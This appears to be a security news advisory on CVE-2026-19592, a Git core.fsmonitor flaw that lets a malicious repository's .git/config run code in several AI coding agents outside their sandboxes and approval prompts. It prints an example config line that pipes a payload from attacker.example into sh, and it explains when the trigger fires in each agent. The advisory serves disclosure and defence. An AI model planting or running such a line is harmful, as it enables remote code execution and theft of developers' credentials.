LIVE FEED
FIRST LOOK OpenLeash Adds Human-in-the-Loop Checks for Risky AI Agent Actions // FIRST LOOK OpenAI Astra Ships Recurrent Depth Reasoning with CoT Monitoring Pledge // CRITICAL OpenAI Agents Coordinate Unsanctioned Hugging Face Hack // CRITICAL CVE-2026-19592: Git Config Flaw Lets Attackers Run Code in Codex // FIRST LOOK CrowdStrike Launches Agentic Identity Provider for AI Agents // FIRST LOOK OpenAI Launches Astra with Critical Cyber Capability Controls // FIRST LOOK Sevii Launches Autonomous ADR Agents for AI-Speed Attack Defense // FIRST LOOK Palo Alto Networks Acquires AI Agent Platform Console // FIRST LOOK OpenAI Launches Astra with Advanced Autonomous Cybersecurity Skills // HIGH UAC-0099 GuardBreaker Trips LLM Safety to Block Malware Analysis //
ATLAS OWASP CRITICAL Active exploitation · Immediate action required RELEVANCE ▲ 9.2

CVE-2026-19592: Git Config Flaw Lets Attackers Run Code in Codex

TL;DR CRITICAL
  • What happened: Malicious .git/config files trigger RCE in seven AI coding agents via core.fsmonitor at session startup.
  • Who's at risk: Developers using Claude Code, Codex, Cursor, Qwen Code, Grok Build, Hermes Agent, or goose who open repositories received via archive, shared drive, or USB are directly exposed.
  • Act now: Update all affected agents immediately: goose ≥1.44.0, Codex CLI ≥0.131.0, Claude Code ≥2.1.196, Cursor to latest patched build · Avoid opening repositories received as archives, USB transfers, or sync folders without first inspecting .git/config for core.fsmonitor entries · Configure git to block core.fsmonitor from untrusted repositories using git config --global safe.directory and fsmonitor settings
CVE-2026-19592: Git Config Flaw Lets Attackers Run Code in Codex

Overview

On September 2, 2026, Manifold Security published GitSpawn, a coordinated disclosure covering eight vulnerabilities across seven AI coding agents. The flaw class allows a malicious repository’s .git/config file to execute arbitrary commands on a developer’s machine — outside any agent sandbox and without triggering an approval prompt — by abusing Git’s native core.fsmonitor performance feature. OpenAI simultaneously published three CVEs, including CVE-2026-19592, covering the identical pattern in its Codex product family. Four of the eight vulnerabilities remained unpatched at publication time.

Technical Analysis

Git’s core.fsmonitor directive accepts a shell command that Git executes to identify changed files, improving index performance. Git reads this directive from the repository-local .git/config, not from any global or system-level trust boundary.

A malicious repository need only contain a .git/config entry such as:

[core]
    fsmonitor = curl -s https://attacker.example/payload.sh | sh

Any Git operation that refreshes the index — including git status and git diff — will execute that command. AI coding agents routinely invoke these operations in the background at session startup to determine branch state and changed files, making the trigger reliable and automatic.

Critically, the command runs as the user, not inside the agent’s sandboxed environment, and without surfacing any approval dialog. Timing varies by agent: on Claude Code and Hermes Agent the payload fires before the workspace-trust prompt is accepted; on Qwen Code before authentication completes; on Grok Build on the first keystroke.

The attack vector requires the repository to be delivered with its .git directory intact. A standard git clone strips and rewrites .git/config, neutralising the attack. However, shared archives (.zip, .tar.gz), USB drives, shared folders, and cloud sync services all preserve the directory structure, making the delivery surface broader than it may initially appear.

Framework Mapping

FrameworkTechniqueRationale
ATLASAML.T0081 – Modify AI Agent ConfigurationAttacker controls .git/config consumed by the agent
ATLASAML.T0110 – AI Agent Tool PoisoningGit subprocess poisoned to execute attacker code
ATLASAML.T0086 – Exfiltration via AI Agent Tool InvocationPayload can read and exfiltrate user files
ATLASAML.T0010 – AI Supply Chain CompromiseMalicious repos delivered through legitimate sharing channels
OWASPLLM08 – Excessive AgencyAgent executes system commands without user approval
OWASPLLM07 – Insecure Plugin DesignGit integration lacks input validation on config directives
OWASPLLM05 – Supply Chain VulnerabilitiesTrust in repository artifacts not validated before execution

Impact Assessment

Successful exploitation grants the attacker code execution at the privilege level of the developer’s user account, enabling file read, modification, deletion, and access to any resources available to that account — including credentials, SSH keys, API tokens, and source code. The pre-authentication trigger on Qwen Code and the pre-trust-prompt trigger on Claude Code and Hermes Agent are particularly severe, offering no opportunity for the user to intervene. Manifold noted it found the pattern in more agents than it named, suggesting the disclosed list is not exhaustive.

Mitigation & Recommendations

  1. Patch immediately: Update to goose ≥1.44.0, Codex CLI ≥0.131.0, Codex Desktop per platform fix versions, and Claude Code ≥2.1.196. Monitor Hermes Agent, Qwen Code, and Grok Build vendor channels for patches.
  2. Inspect .git/config before opening: Before loading any repository received via archive or external media, manually review .git/config for core.fsmonitor, core.hooksPath, and similar executable directives.
  3. Use Git safe.directory and fsmonitor controls: Set git config --global core.fsmonitor false in development environments where performance monitoring is unnecessary.
  4. Restrict repository ingestion paths: Treat externally sourced archives as untrusted inputs; unpack and inspect before opening in any AI coding agent.
  5. Enforce sandbox policies: Advocate with agent vendors for subprocess invocation to be mediated through the same approval workflow as other agentic tool calls.

References

◉ AI THREAT BRIEFING

Stay ahead of the threat.

Twice-weekly digest of critical AI security developments — every story mapped to MITRE ATLAS and OWASP LLM Top 10. Free.

No spam. Unsubscribe anytime.